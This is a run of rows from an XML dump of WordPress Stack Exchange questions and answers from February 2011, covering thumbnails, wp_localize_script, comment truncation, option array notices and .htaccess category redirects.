  <row Id="8649" PostTypeId="2" ParentId="7878" CreationDate="2011-02-05T22:33:40.310" Score="0" ViewCount="" Body="&lt;p&gt;Maybe this will help&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;//This must be in a loop&#xA;if(has_post_thumbnail()) {&#xA;    the_post_thumbnail();&#xA;} else {&#xA;    echo '&amp;lt;img src=&quot;'.get_bloginfo(&quot;template_url&quot;).'/images/img-default.png&quot; /&amp;gt;';&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;from: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/has_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/has_post_thumbnail&lt;/a&gt;&lt;br&gt;&#xA;I use something like this to check if the image size exists:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (function_exists('has_post_thumbnail') &amp;amp;&amp;amp; has_post_thumbnail('medium')) {&#xA;//// code to display thumbnail goes here&#xA;}&#xA;else {&#xA;/// otherwise do this&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope it helps get you going.&lt;/p&gt;&#xA;" OwnerUserId="2771" LastActivityDate="2011-02-05T22:33:40.310" />
  <row Id="8650" PostTypeId="1" CreationDate="2011-02-05T23:03:01.953" Score="1" ViewCount="221" Body="&lt;p&gt;I'd like to find a way to fill some of the fields from the &lt;code&gt;/wp-admin/post-new.php&lt;/code&gt; page from an external source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works for the title: loading &lt;code&gt;/wp-admin/post-new.php?post_title=title1&lt;/code&gt; fills the title input with &lt;code&gt;title1&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You get the idea, what would be great is something like &lt;code&gt;/wp-admin/post-new.php?post_title=title1&amp;amp;content=content1&amp;amp;tags=tag1,tag2&amp;amp;cat=cat1,cat2&lt;/code&gt;... so that when I arrive on the &lt;code&gt;post-new.php&lt;/code&gt; with most fields already filled from an outside script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would need to fill in custom fields as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that? What's the best option? A full external script that connects to the base my himself and run insert queries? A plugin? If so, do you have some suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2976" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-12T13:30:38.533" LastActivityDate="2011-02-12T13:30:38.533" Title="Pre-fill fields with content from outside when creating a new post" Tags="&lt;wp-admin&gt;&lt;posts&gt;&lt;custom-content&gt;" AnswerCount="3" FavoriteCount="0" />
  <row Id="8651" PostTypeId="2" ParentId="5928" CreationDate="2011-02-05T23:04:31.390" Score="0" ViewCount="" Body="&lt;p&gt;You can add your own capabilities for custom post types. The default behvaiour for a post type is to inherit capabilities from the default post post-type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the capabilities parameter in &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type#Arguments&quot; rel=&quot;nofollow&quot;&gt;register_post_type (Wordpress Codex)&lt;/a&gt;, that has more information about how that can be done.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-05T23:04:31.390" />
  <row Id="8652" PostTypeId="2" ParentId="5906" CreationDate="2011-02-05T23:17:24.827" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Question 1: Is it a plugin or hack that can allow one to parse html inside the visual view&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Neither of both. The visual view is the visual view and not the HTML view. If you want to paste HTML, use the HTML view.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Question 2: Is it possible to insert html code to the html view from a popup initiated from the visual view&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Technically this should be possible, but it would mean that you need to create a plugin with javascript for that first. In case &quot;hack&quot; from your first question is about writing a plugin, then well, this could be done for visual view as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://tinymce.moxiecode.com/wiki.php/API3%3atinymce.api.3.x&quot; rel=&quot;nofollow&quot;&gt;TinyMCE API&lt;/a&gt; is a good start for doing that stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3722/want-to-have-the-post-editor-remembering-the-last-editing-position/3723#3723&quot;&gt;This answer to the &quot;Want to have the Post editor remembering the last editing position&quot;&lt;/a&gt; question might be helpful as well.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-05T23:17:24.827" />
  <row Id="8653" PostTypeId="2" ParentId="8650" CreationDate="2011-02-05T23:23:13.567" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Marc:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is to add end-users then maybe the easiest thing to do is to create a jQuery script to assign the values.  Here's how to parse the URL:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://stackoverflow.com/questions/901115/get-querystring-values-with-jquery&quot;&gt;&lt;strong&gt;Get QueryString values with jQuery&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And here's how to add Javascript in WordPress:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/556/what-is-the-best-way-to-add-custom-javascript-files-to-the-site/562#562&quot;&gt;&lt;strong&gt;What is the best way to add custom javascript files to the site?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Finally, just view source in the WordPress edit screen to see the names of the input fields and then this shows how to use jQuery to assign values:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.electrictoolbox.com/jquery-get-set-form-values/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;How to get and set form element values with jQuery&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-05T23:23:13.567" />
  <row Id="8654" PostTypeId="2" ParentId="5689" CreationDate="2011-02-05T23:37:45.527" Score="0" ViewCount="" Body="&lt;p&gt;Please try if my &lt;a href=&quot;http://hakre.wordpress.com/plugins/normalize-urls/&quot; rel=&quot;nofollow&quot;&gt;Normalize URLs (Wordpress Plugin)&lt;/a&gt; helps.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-05T23:37:45.527" />
  <row Id="8655" PostTypeId="1" AcceptedAnswerId="8851" CreationDate="2011-02-06T00:14:06.440" Score="6" ViewCount="231" Body="&lt;p&gt;I've got a working piece of javascript that contains an object literal.&#xA;But I need to localize it, and I'm ytrying to figure out how to rewrite it so that I can get wp_localize_script() to accet it, and output the correct format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The non-localized (non dynamic) version looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var layoyt_config = {&#xA;    'header'        : 1 &#xA;,   'footer'        : 1&#xA;,   'ls'            : {'sb1':1}&#xA;,   'rs'            : {'sb1':1,'sb2':1}&#xA;,   'align'         : 'center'&#xA;};  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, to have those values generated by php (based on some wp_settings) I want to use wp_localize_script, so I can take it from there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var layoyt_config = my_localized_data.layoyt_config;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And to get that data in to that object property I 'thought' I could do this, but obviously not:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array(&#xA;    'layout_config' =&amp;gt; {&#xA;        'header' : 1&#xA;    ,   'footer' : 1&#xA;    ,   'ls' : {'sb1': 1}&#xA;    ,    'rs' : {'sb1': 1,'sb2': 1}&#xA;    ,    'align' : 'center'&#xA;    }&#xA;);&#xA;wp_localize_script('my-script-handle', 'my_localized_data', $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As this will cause PHP parse error I've tried to rewrite the json to array syntax, as wp_localize_script will convert that back to object notation, but this also does not work for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array(&#xA;    'layout_config' =&amp;gt; array(&#xA;        'header' =&amp;gt; 1&#xA;    ,   'footer' =&amp;gt; 1&#xA;    ,   'ls' =&amp;gt; array('sb1'=&amp;gt;1)&#xA;    ,    'rs' =&amp;gt; array('sb1'=&amp;gt;1,'sb2'=&amp;gt;1)&#xA;    ,    'align' =&amp;gt; 'center'&#xA;    )&#xA;);&#xA;wp_localize_script('my-script-handle', 'my_localized_data', $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And while this runs smoothly trhough the php parser, I do not get the expected output in my page source, as my_localized_data.layout_config becomes a String &quot;Array&quot;, here is the output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type='text/javascript'&amp;gt;&#xA;    /* &amp;lt;![CDATA[ */&#xA;    var wpkit_localized_data = {&#xA;    layout_config: &quot;Array&quot;&#xA;    };&#xA;    /* ]]&amp;gt; */&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So.. How can I do this (or do I just have to accept that I must 'flatten' my object into discrete vars like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lc_header = '1';&#xA;ls_ls_sb1 = '1';&#xA;etc...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2071" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-06T02:40:03.547" LastActivityDate="2011-04-30T11:30:51.083" Title="pass object/JSON to wp_localize_script" Tags="&lt;theme-development&gt;&lt;jquery&gt;&lt;javascript&gt;&lt;translation&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="8656" PostTypeId="1" AcceptedAnswerId="8657" CreationDate="2011-02-06T01:18:19.137" Score="0" ViewCount="62" Body="&lt;p&gt;I am calling recent comments into my template with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$comment-&amp;gt;post_title  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the variable length is specified like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SUBSTRING(comment_content,1,180)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how could I write a conditional statement just for comments that exceed the limits of the vairable &gt;180 ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking It would be good to have a ... for longer comments and a more link.&lt;/p&gt;&#xA;" OwnerUserId="2661" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-06T01:38:21.133" LastActivityDate="2011-04-08T20:23:31.670" Title="Return count for characters in the comment and perform action based on the length" Tags="&lt;comments&gt;&lt;conditional-content&gt;&lt;coding&gt;" AnswerCount="1" />
  <row Id="8657" PostTypeId="2" ParentId="8656" CreationDate="2011-02-06T01:38:06.360" Score="1" ViewCount="" Body="&lt;p&gt;By using a function to perform that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;recent_comment_text_more($comment_content)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that function would look like (in case you're using PHP, part of your code looks from another language):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function recent_comment_text_more($comment_content, $more_href)  {&#xA;    if (strlen($comment_content) &amp;gt; 180) {&#xA;        $comment_content = substr($comment_content, 0, 177) . sprintf('&amp;lt;a href=&quot;%s&quot;&amp;gt;... (more)&amp;lt;/a&amp;gt;', $more_href);&#xA;    } &#xA;    return $comment_content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Multibyte charset safe variant&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;As pointed out in a comment, e.g. for UTF-8, see &lt;a href=&quot;http://www.php.net/manual/en/function.mb-internal-encoding.php&quot; rel=&quot;nofollow&quot;&gt;mb_internal_encoding()&lt;/a&gt; for specifying the encoding to use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function recent_comment_text_more($comment_content, $more_href)  {&#xA;    if (mb_strlen($comment_content) &amp;gt; 180) {&#xA;        $comment_content = mb_substr($comment_content, 0, 177) . sprintf('&amp;lt;a href=&quot;%s&quot;&amp;gt;... (more)&amp;lt;/a&amp;gt;', $more_href);&#xA;    } &#xA;    return $comment_content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="178" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2011-04-08T20:23:31.670" LastActivityDate="2011-04-08T20:23:31.670" CommentCount="3" />
  <row Id="8658" PostTypeId="2" ParentId="5160" CreationDate="2011-02-06T01:48:18.100" Score="0" ViewCount="" Body="&lt;p&gt;It's already in there. You only need to deactivate javascript in your browser and reload the page. You can now enter freely &lt;code&gt;nofollow&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you ask yourself why I know that: The &lt;a href=&quot;http://core.trac.wordpress.org/ticket/14599&quot; rel=&quot;nofollow&quot;&gt;related ticket is #14599: Link Manager does not support nofollow in Link Relationship (XFN)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-06T01:48:18.100" />
  <row Id="8659" PostTypeId="1" AcceptedAnswerId="8662" CreationDate="2011-02-06T03:27:03.817" Score="0" ViewCount="148" Body="&lt;p&gt;WP_DEBUG is telling me: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Notice: Undefined index: no_cat_base&#xA;  in myplugin.php on line 20&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here's the lines of code where I'm pulling the value of &quot;no_cat_base&quot; from my options array called &quot;myoptions&quot;...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myoptions = get_option('my_settings');&#xA;&#xA;if($myoptions['no_cat_base']){//This is line 20}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is the correct fix for this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( isset($myoptions['no_cat_base'])){//do something}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-02-06T03:33:04.187" LastActivityDate="2011-02-06T06:15:11.070" Title="Undefined index error on options array element?" Tags="&lt;errors&gt;&lt;wp-debug&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="8660" PostTypeId="2" ParentId="8650" CreationDate="2011-02-06T04:46:44.663" Score="0" ViewCount="" Body="&lt;p&gt;In addition to Mike's answer, you can also use WordPress' XML-RPC server to do external posting. It depends on what you're trying to do.&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-02-06T04:46:44.663" />
  <row Id="8662" PostTypeId="2" ParentId="8659" CreationDate="2011-02-06T06:15:11.070" Score="0" ViewCount="" Body="&lt;p&gt;just to be on the safe side use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (array_key_exists('no_cat_base', $myoptions) &amp;amp;&amp;amp; isset($myoptions['no_cat_base'])){&#xA;//do your thing&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-06T06:15:11.070" CommentCount="2" />
  <row Id="8663" PostTypeId="2" ParentId="8647" CreationDate="2011-02-06T07:05:25.667" Score="0" ViewCount="" Body="&lt;p&gt;Without a link to the site in question, it's hard to understand the exact problem. However, if the issue is the actual word &quot;category&quot; is being includes (i.e. example.com/category/category-name/post-name) then I would use this plugin (it's one I use on almost every site)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-no-category-base/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-no-category-base/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-02-06T07:05:25.667" />
  <row Id="8665" PostTypeId="1" CreationDate="2011-02-06T10:34:33.710" Score="-1" ViewCount="344" Body="&lt;p&gt;I've changed our &quot;category base&quot; in WP settings from the default &quot;category&quot; to &quot;customname&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now there are 404 errors to links containing the old category slug eg. mysite.com/category/names&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I enter in .htaccss to 301 redirect &lt;/p&gt;&#xA;&#xA;&lt;p&gt;mysite.com/&lt;strong&gt;category&lt;/strong&gt;/xxx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mysite.com/&lt;strong&gt;customname&lt;/strong&gt;/xxx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="2980" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-02-16T18:19:50.597" LastActivityDate="2011-02-16T18:19:50.597" Title="How to: 301 Redirect /category/ to /customname/" Tags="&lt;categories&gt;&lt;redirect&gt;&lt;htaccess&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="8666" PostTypeId="2" ParentId="8655" CreationDate="2011-02-06T10:40:35.480" Score="1" ViewCount="" Body="&lt;p&gt;Disclaimer - I am out of my depth on JS security stuff here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, to match your desired output you are off by nesting level. Object name goes as parameter in localize call (instead of array key):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array(&#xA;        'header' =&amp;gt; 1&#xA;    ,   'footer' =&amp;gt; 1&#xA;    ,   'ls' =&amp;gt; array('sb1'=&amp;gt;1)&#xA;    ,    'rs' =&amp;gt; array('sb1'=&amp;gt;1,'sb2'=&amp;gt;1)&#xA;    ,    'align' =&amp;gt; 'center'&#xA;);&#xA;wp_localize_script('my-script-handle', 'layout_config', $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But &lt;code&gt;ls&lt;/code&gt; and &lt;code&gt;rs&lt;/code&gt; are still broken because &lt;code&gt;WP_Scripts-&amp;gt;print_scripts_l10n()&lt;/code&gt; method doesn't handle the case when variable is array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best I could come up with to fix that is following filter (as above - not sure how safe would be to use it in production, but to give general idea):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('js_escape','js_escape_nested', 10, 2);&#xA;&#xA;function js_escape_nested($safe_text, $text) {&#xA;&#xA;     if(is_array($text) )&#xA;         return str_replace( '&quot;', &quot;'&quot;, json_encode ($text) );&#xA;&#xA;     return $safe_text;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-06T10:40:35.480" CommentCount="2" />
  <row Id="8667" PostTypeId="2" ParentId="8647" CreationDate="2011-02-06T10:50:02.687" Score="0" ViewCount="" Body="&lt;p&gt;It could be 3rd party wordpress theme conflict. Temporarily enable the &lt;strong&gt;default&lt;/strong&gt; WP theme and test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For performance reasons, it is not a&#xA;  good idea to start your permalink&#xA;  structure with the category, tag,&#xA;  author, or postname fields. The reason&#xA;  is that these are text fields, and&#xA;  using them at the beginning of your&#xA;  permalink structure it takes more time&#xA;  for WordPress to distinguish your Post&#xA;  URLs from Page URLs (which always use&#xA;  the text &quot;page slug&quot; as the URL), and&#xA;  to compensate, WordPress stores a lot&#xA;  of extra information in its database&#xA;  (so much that sites with lots of Pages&#xA;  have experienced difficulties). So, it&#xA;  is best to have at least two path&#xA;  segments in your post's permalink&#xA;  structure such as /%year%/%postname%/&#xA;  or even /posts/%postname%/.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks&quot; rel=&quot;nofollow&quot;&gt;Wordpress.org Documentation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2980" LastEditorUserId="2980" LastEditorDisplayName="" LastEditDate="2011-02-06T12:07:04.450" LastActivityDate="2011-02-06T12:07:04.450" CommentCount="1" />
  <row Id="8668" PostTypeId="2" ParentId="5104" CreationDate="2011-02-06T10:55:55.020" Score="0" ViewCount="" Body="&lt;p&gt;I've used s2member plugin for wordpress. I'm not related to the company or product in any way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more advanced features check out:&#xA;&lt;a href=&quot;http://www.easymemberpro.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.easymemberpro.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2980" LastActivityDate="2011-02-06T10:55:55.020" />
  <row Id="8669" PostTypeId="1" CreationDate="2011-02-06T10:57:06.903" Score="0" ViewCount="159" Body="&lt;p&gt;I changed the wordpress category slug from &quot;sci-fi&quot; to &quot;scifi&quot; a few months back by accident. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I redirect&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/category/sci-fi/ to /category/scifi/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so that /category/sci-fi/page/2/, /category/sci-fi/page/3/ etc stops resulting in 404 errors?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2980" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-02-16T18:20:35.913" LastActivityDate="2011-02-16T18:20:35.913" Title="How to? Redirect /category/sci-fi/ to /category/scifi/?" Tags="&lt;categories&gt;&lt;url-rewriting&gt;&lt;redirect&gt;&lt;server&gt;&lt;htaccess&gt;" AnswerCount="2" />
  <row Id="8670" PostTypeId="2" ParentId="8665" CreationDate="2011-02-06T11:02:39.080" Score="2" ViewCount="" Body="&lt;p&gt;Htaccess is your friend in this case.&#xA;You can create 301 form your old category base to the new like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;RewriteBase /&#xA;RewriteRule ^old_dir/(.*) http://www.example.com/new_dir/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change old_dir to category example.com to your domain and new_dir to your custom name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&#xA;Ohad.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-06T11:45:15.873" LastActivityDate="2011-02-06T11:45:15.873" CommentCount="3" />
  <row Id="8671" PostTypeId="2" ParentId="8669" CreationDate="2011-02-06T11:08:22.143" Score="2" ViewCount="" Body="&lt;p&gt;Take a look at Redirection plugin&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/redirection/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/redirection/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a WordPress plugin to manage 301 redirections and keep track of 404 errors without requiring knowledge of Apache .htaccess files&#xA;And you can use it for your other question&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/8665/how-to-301-redirect-category-to-customname&quot;&gt;How to: 301 Redirect /category/ to /customname/&lt;/a&gt;&#xA;to.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-06T11:08:22.143" CommentCount="3" />
  <row Id="8672" PostTypeId="2" ParentId="8665" CreationDate="2011-02-06T11:49:49.987" Score="-2" ViewCount="" Body="&lt;p&gt;Ok by Googling (which I was doing for hours before posting here) I found the answer! But this time I googled the beginning part of your suggested rewrite rule:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^olddir/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which resulted in finding the answer &lt;a href=&quot;http://www.andrefredette.com/blog/?p=23&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; which is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^olddir/?(.*)$ newdir/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope this helps someone else. Now just need to find the rewrite rule for:&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/8669/how-to-redirect-category-sci-fi-to-category-scifi&quot;&gt;How to? Redirect /category/sci-fi/ to /category/scifi/?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thx&lt;/p&gt;&#xA;" OwnerUserId="2980" LastActivityDate="2011-02-06T11:49:49.987" CommentCount="7" />
  <row Id="8673" PostTypeId="2" ParentId="8669" CreationDate="2011-02-06T12:34:10.413" Score="2" ViewCount="" Body="&lt;p&gt;Ok for the record its:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^category/sci-fi/?(.*)$ /category/scifi/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this helps someone else who's been searching for this also.&lt;/p&gt;&#xA;" OwnerUserId="2980" LastActivityDate="2011-02-06T12:34:10.413" CommentCount="1" />
  <row Id="8674" PostTypeId="1" CreationDate="2011-02-06T13:49:25.760" Score="0" ViewCount="25" Body="&lt;p&gt;I cannot get into my website.. i was downloading a plugin for simple tags and now everytime i try to log or look at my website i get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Call to undefined function register_importer() in /home/sjdenny/public_html/wp-content/plugins/simple-tagging-import/stp.php on line 198&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PLEASE HELP Im not sure what to do since i cant even log in or look at my site!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THANKS&lt;/p&gt;&#xA;" LastActivityDate="2011-02-06T13:59:16.007" Title="help with my wordpress website" Tags="&lt;plugins&gt;&lt;errors&gt;" AnswerCount="1" />
  <row Id="8675" PostTypeId="1" AcceptedAnswerId="8677" CreationDate="2011-02-06T13:51:02.640" Score="0" ViewCount="217" Body="&lt;p&gt;I've seen some examples that use $_post instead of $post. What's the difference and when would you use $_post instead of $post?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (have_posts()) :&#xA;while (have_posts()) : the_post();&#xA;if(!in_category(&quot;some-category&quot;, $_post )) { do_something(); }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-06T14:14:16.660" LastActivityDate="2011-02-06T14:17:32.773" Title="When would you use $_post instead of $post?" Tags="&lt;coding&gt;&lt;variables&gt;&lt;the-loop&gt;" AnswerCount="2" />
  <row Id="8676" PostTypeId="2" ParentId="8674" CreationDate="2011-02-06T13:59:16.007" Score="3" ViewCount="" Body="&lt;p&gt;Try disabling the plugin. &#xA;Access the site via FTP, and go to wp-content/plugins and then remove the folder containing the plugin mentioned. &lt;/p&gt;&#xA;" OwnerUserId="1463" LastActivityDate="2011-02-06T13:59:16.007" />
  <row Id="8677" PostTypeId="2" ParentId="8675" CreationDate="2011-02-06T14:02:49.050" Score="7" ViewCount="" Body="&lt;p&gt;I'm not certain, but if you're talking about $_post as seen here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/in_category&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/in_category&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's referring to a post ID so they've probably added the underscore to avoid confusion. The $post variable is a post object with all the details of the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, $_POST is a global PHP variable containing all the values sent from a form:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/reserved.variables.post.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/reserved.variables.post.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2908" LastActivityDate="2011-02-06T14:02:49.050" CommentCount="1" />
